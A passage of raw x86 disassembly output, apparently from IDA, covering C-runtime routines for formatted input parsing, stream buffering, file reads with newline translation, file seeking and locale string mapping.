sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_433E7C, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_433E7C, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_433C70 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_433E7C, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4CECE0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_4362F0 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4CEDE0 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4CECE0h[eax*4] mov eax, dword_4CECE0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2650000h test eax, eax jnz short loc_41E3E9 nop call near ptr 26702AAh push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_4CD9B4, 9 mov dword_4CD9B8, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2650000h test eax, eax jnz short loc_41E48A nop call near ptr 26702AAh test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4CEDE0 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_4CD9B4, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26F0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B call near ptr 26702AAh nop jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4CECE0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_4CD9B4, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4CDA60, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi call near ptr 28B0000h nop test eax, eax jz short loc_41E75D mov dword_4CDA60, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_436EF4 push esi push edi nop call near ptr 28A0000h test eax, eax jz loc_41E897 mov dword_4CDA60, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_4CDA60 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2640000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2640000h nop test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28B0000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 28B0000h nop test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28B0000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 27E0000h nop mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_4CEDE4 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_436010 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_436100 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi nop call near ptr 28B10F1h cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 cmp [ebp+var_18], 1 mov dword_4CEDE4, esi rep stosd stosb mov dword_4CF004, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_4CEF01[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_436020[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_436008[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_4CEF01[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA 